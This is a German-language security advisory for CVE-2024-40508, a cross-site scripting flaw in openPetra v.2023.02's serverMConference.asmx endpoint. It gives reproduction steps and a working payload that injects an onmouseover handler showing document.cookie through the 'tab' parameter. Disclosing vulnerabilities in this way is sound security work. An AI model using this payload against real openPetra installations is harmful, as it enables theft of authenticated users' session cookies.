CVE-2024-40508

Cross-Site-Scripting-Schwachstelle in openPetra v.2023.02 über die Funktion serverMConference.asmx.

Beschreibung: Ein nicht authentifizierter Benutzer kann Cookies von authentifizierten Benutzern stehlen, indem er eine XSS-Schwachstelle in openPetra v.2023.02 über die Funktion serverMConference.asmx ausnutzt.

Betroffene Produktversion: openPetra v.2023.02
CVE-Autor: Jansen Moreira Datum: 13/07/2024
CVE: CVE-2024-40508
CVE-Link: https://www.cve.org/CVERecord?id=CVE-2024-40508
NVD-Link: https://nvd.nist.gov/vuln/detail/CVE-2024-40508
Tenable-Link: https://www.tenable.com/cve/CVE-2024-40508
Bestätigt am: 13/07/2024
Getestet auf: Linux

Schritte zur Reproduktion:

1- Rufen Sie die Startseite auf.
2- Verwenden Sie den folgenden Pfad und fügen Sie das XSS-Payload in den Parameter tab ein. Z. B.: target.com/api/serverMConference.asmx?bnd=TMHospitalityWebServiceSoap&op=THospitalityWebConnector_Dummy&page=op&tab=x" onmouseover=alert(document.cookie) x="
3- Bewegen Sie die Maus über das linke Indexelement, um die XSS auszulösen.

Payloads:
tab: x" onmouseover=alert(document.cookie) x="

Entdecker/Credits: Jansen Moreira